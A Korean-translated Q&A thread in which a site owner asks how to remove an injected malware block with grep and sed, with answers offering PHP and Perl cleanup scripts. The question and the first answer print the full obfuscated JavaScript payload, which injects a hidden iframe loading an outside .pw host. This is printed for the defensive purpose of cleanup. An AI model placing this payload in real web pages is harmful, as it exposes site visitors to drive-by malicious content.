grep의 정규식 문제

grep의 정규식 문제

스크립트를 사용하여 사이트에서 맬웨어 코드를 제거하려고 하는데 맬웨어 부분에 적합한 정규식을 가져오는 데 문제가 있습니다.

결국 제가 하고 싶은 일은 악성코드를 찾아서 교체하기 위해 sed를 사용하는 것입니다. 첫 번째 시도에서는 다음과 같이 하려고 했습니다.

#fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'

검색은 다음과 같습니다.

SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28
\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E
\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62
\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A
\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E
\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&
&_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x
10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_
0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1
0b1x8);};};
/*236499a9e0b11c0dc3eecf5cf751a097*/'

그리고 교체:

REPLACE=''

sed 부분을 작동시킬 수 없었고 grep은 작동했습니다.

이제 정규식을 사용하여 이 작업을 수행할 수 있다고 생각하므로 전체 문자열을 사용할 필요가 없습니다.

다른 코드는 다음과 같습니다.

INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'

grep -rl --exclude='*.sh' $INFECTED .

이것은 아무것도 하지 않습니다.

이것은 다음을 수행합니다.

INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'

grep -rl --exclude='*.sh' $INFECTED .

그리고 이것도:

INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'

grep -rl --exclude='*.sh' $INFECTED .

나는 grep에서 정규식을 올바르게 얻은 다음 sed에 적용하기를 바라고 있습니다. 목표를 더 잘 달성하는 방법에 대한 아이디어가 있습니까? 아니면 이 코드에 어떤 문제가 있나요?

감사합니다 =)

답변1

나는 PHP에 더 익숙하기 때문에 다음과 같이 끝났습니다.

#! /opt/php56/bin/php
<?php

$searchpattern='/*236499a9e0b11c0dc3eecf5cf751a097*/
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28
\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E
\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62
\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A
\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E
\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&
&_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x
10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_
0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1
0b1x8);};};
/*236499a9e0b11c0dc3eecf5cf751a097*/';

$escaped_search = escapeshellarg($searchpattern);

$cmd = "grep -Frl $escaped_search .";

exec($cmd, $files);

$iter = 0;

foreach ($files as $file) {
    if (basename($file) !== basename(__FILE__)) {
        $iter++;
        $filecontents = file_get_contents($file);
        $filecontents = preg_replace("/(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)[\s\S]*(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)/", '', $filecontents);      
        file_put_contents($file, $filecontents);
    }
}

print("for count: $iter") . PHP_EOL;

$count = exec("fgrep -lr $escaped_search . | wc -l");

print("grep count: $count") . PHP_EOL;

나는 grep 부분이 다음과 같은 정규 표현식으로도 최적화될 수 있다고 생각합니다.

fgrep -rl '(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)[\s\S]*(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)' .

하지만 시도해본 적이 없어서 확실히는 모르겠습니다.

이런 종류의 악성코드로부터 복구하는 더 좋은 방법은 백업을 이용하는 것이겠지만, 제 경우에는 이것이 불가능해서 찾기/바꾸기 전략을 선택했습니다.

모든 도움에 감사드립니다 !!

답변2

이 작업은 한 줄로 수행할 수 있지만 긴 검색 문자열에서 가로 스크롤 막대를 피하기 위해 독립 실행형 스크립트로 작성하고 있습니다.

#! /usr/bin/perl -p -i.bak

# save as fix.pl, and make executable with chmod +x fix.pl

BEGIN { 
    undef $/;
    $srch='/\\*236499a9e0b11c0dc3eecf5cf751a097\\*/';
} ; 

s:$srch.*$srch::sgo ;

그런 다음 실행./fix.pl infectedfile.php

이렇게 하면 첫 번째 인스턴스부터 *236499a9e0b11c0dc3eecf5cf751a097*두 번째 인스턴스까지 모든 내용이 삭제됩니다. 원본 파일은 다음과 같이 보관됩니다 infectedfile.php.bak. 나중에 다음을 사용하여 rm 또는 mv할 수 있습니다.find . -type f -name '*.php.bak' ...

.bak파일을 원하지 않으면 줄 -i.bak을 .#!-i

전체 파일을 한 번에 후루룩 마시라고 지시 undef $/;합니다 .perl

s정규식 끝에 있는 수정자( ) /sgo는 Perl에게 입력을 단일 문자열로 처리하고 개행 문자 등을 다른 문자와 동일하게 간주하도록 지시합니다. 수정 g자는 이를 전역 검색 및 바꾸기(파일에 두 번 이상 발생하는 경우)로 만들고, 수정 o자는 정규 표현식이 변수를 사용하더라도 스크립트 수명 동안 전혀 변경되지 않으므로 Perl에게 알려줍니다. 정규 표현식을 한 번만 컴파일하는 것이 안전합니다(실행 속도가 크게 향상됨).

감염된 .php 파일을 모두 수정하려면:

find . -type -f -name '*.php' -exec ./fix.pl {} +

관련 정보